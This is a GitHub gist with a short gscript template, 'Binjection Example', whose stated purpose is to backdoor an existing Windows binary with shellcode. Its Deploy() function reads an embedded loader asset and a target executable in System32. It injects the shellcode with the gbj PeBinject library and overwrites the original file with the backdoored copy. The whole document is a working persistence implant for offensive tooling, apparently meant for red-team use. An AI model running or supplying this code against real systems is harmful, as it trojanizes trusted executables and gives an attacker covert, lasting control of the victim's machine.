Created
July 2, 2020 23:32
-
-
Save ahhh/2ed07fa3665115c09dde132255db8836 to your computer and use it in GitHub Desktop.
Binjection example in gscript
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Example gscript template | |
// Title: Binjection Example | |
// Author: ahhh | |
// Purpose: Replaces an existing binary with a copy that has been backdoored with shellcode | |
// Gscript version: 1.0.0 | |
// ATT&CK: | |
//priority:150 | |
//timeout:150 | |
//import:/tmp/loader.bin | |
//go_import:github.com/Binject/gbj as gbj | |
function Deploy() { | |
var target_path = "C:\\\\Windows\\System32\\target_binary.exe"; | |
// Getting our asset | |
var shellcode = GetAssetAsBytes("loader.bin"); | |
console.log("errors: "+shellcode[1]); | |
var target_file = G.file.ReadFileAsBytes(target_path); | |
console.log("errors: "+target_file[1]); | |
var injected = gbj.PeBinject(target_file[0], shellcode[0]) | |
console.log("errors: "+injected[1]); | |
errors = G.file.WriteFileFromBytes(target_path, injected[0]); | |
console.log("errors: "+errors); | |
return true | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment